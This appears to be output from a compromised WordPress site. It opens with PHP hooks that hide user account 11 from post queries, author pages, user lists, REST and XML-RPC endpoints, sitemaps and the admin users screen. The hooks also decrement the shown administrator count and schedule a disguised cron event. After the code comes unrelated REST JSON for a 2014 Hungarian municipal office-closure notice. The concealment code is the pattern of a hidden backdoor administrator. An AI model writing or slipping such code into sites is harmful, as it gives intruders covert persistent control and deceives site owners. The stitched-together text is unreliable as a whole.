add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 11;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 11 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 11 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 11;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 11;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 11;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/11(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 11;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-11{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":52,"date":"2014-07-18T10:04:56","date_gmt":"2014-07-18T10:04:56","guid":{"rendered":"http:\/\/www.bukkszek.hu\/2015\/?p=52"},"modified":"2015-03-04T10:06:06","modified_gmt":"2015-03-04T10:06:06","slug":"igazgatasi-szunet","status":"publish","type":"post","link":"http:\/\/www.bukkszek.hu\/2015\/2014\/07\/18\/igazgatasi-szunet\/","title":{"rendered":"Igazgat\u00e1si sz\u00fcnet"},"content":{"rendered":"<p><strong>HIRDETM\u00c9NY<\/strong><\/p>\n<p><strong><em>Tisztelt \u00dcgyfeleink!<\/em><\/strong><\/p>\n<p>A Siroki K\u00f6z\u00f6s \u00d6nkorm\u00e1nyzati Hivatalban <strong>2014. j\u00falius 21-t\u0151l 2014. augusztus 10-ig<\/strong><\/p>\n<p><strong>IGAZGAT\u00c1SI SZ\u00dcNET-et tartunk.<\/strong><br \/>\nAz igazgat\u00e1si sz\u00fcnet alatt az \u00fcgyint\u00e9z\u00e9s rendje a k\u00f6vetkez\u0151:<\/p>\n<p><strong>\u00dcgyf\u00e9lfogad\u00e1si id\u0151 <\/strong><strong>Sirokban<\/strong><strong>: <\/strong><\/p>\n<p><strong>H\u00c9TF\u0150I \u00e9s SZERDAI napokon 7.30-t\u00f3l 16.00 \u00f3r\u00e1ig<br \/>\n<\/strong><\/p>\n<hr \/>\n<p>&nbsp;<\/p>\n<p><strong>\u00dcgyf\u00e9lfogad\u00e1s <\/strong><strong>B\u00fckksz\u00e9k, Szajla \u00e9s Terpes<\/strong><strong> telep\u00fcl\u00e9seken:<\/strong><\/p>\n<p><strong>KEDDI napokon 7.30-t\u00f3l 16.00 \u00f3r\u00e1ig<\/strong><\/p>\n<p><strong>A jegyz\u0151 vagy az aljegyz\u0151 kedden az \u00fcgyf\u00e9lfogad\u00e1si id\u0151ben megjelenik.<\/strong><\/p>\n<hr \/>\n<p>&nbsp;<\/p>\n<p>A h\u00e9t t\u00f6bbi napj\u00e1n telefonos \u00fcgyeletet tartunk. S\u00fcrg\u0151s \u00e9s halaszthatatlan esetben az \u00fcgyf\u00e9lfogad\u00e1si sz\u00fcnnapokon al\u00e1bbi telefonsz\u00e1mok h\u00edvhat\u00f3k:<\/p>\n<p>06- 30\/649-3609;   06-30\/340-8908     vagy   06- 20\/353-9533<\/p>\n<hr \/>\n<p>&nbsp;<\/p>\n<p><strong>Anyak\u00f6nyvvezet\u0151k s\u00fcrg\u0151s esetben val\u00f3 el\u00e9rhet\u0151s\u00e9ge: <\/strong><\/p>\n<p>Sirokban: 06-30\/340-7886<\/p>\n<p>B\u00fckksz\u00e9ken: 06-30\/649-3908<\/p>\n<p>Szajl\u00e1n: 06-30\/351-8370<\/p>\n<p>Terpesen: 06-30\/649-3609<\/p>\n<p style=\"text-align: center;\"><strong>Meg\u00e9rt\u00e9s\u00fcket k\u00f6sz\u00f6nj\u00fck!<\/strong><\/p>\n<p style=\"text-align: center;\"><strong>V\u00edgh L\u00e1szl\u00f3n\u00e9<br \/>\njegyz\u0151<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>HIRDETM\u00c9NY Tisztelt \u00dcgyfeleink! A Siroki K\u00f6z\u00f6s \u00d6nkorm\u00e1nyzati Hivatalban 2014. j\u00falius 21-t\u0151l 2014. augusztus 10-ig IGAZGAT\u00c1SI SZ\u00dcNET-et tartunk. Az igazgat\u00e1si sz\u00fcnet alatt az \u00fcgyint\u00e9z\u00e9s rendje a k\u00f6vetkez\u0151: \u00dcgyf\u00e9lfogad\u00e1si id\u0151 Sirokban: H\u00c9TF\u0150I \u00e9s SZERDAI napokon 7.30-t\u00f3l&#46;&#46;&#46;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-52","post","type-post","status-publish","format-standard","hentry","category-hirek"],"_links":{"self":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/52","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/comments?post=52"}],"version-history":[{"count":1,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/52\/revisions"}],"predecessor-version":[{"id":55,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/52\/revisions\/55"}],"wp:attachment":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/media?parent=52"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/categories?post=52"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/tags?post=52"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}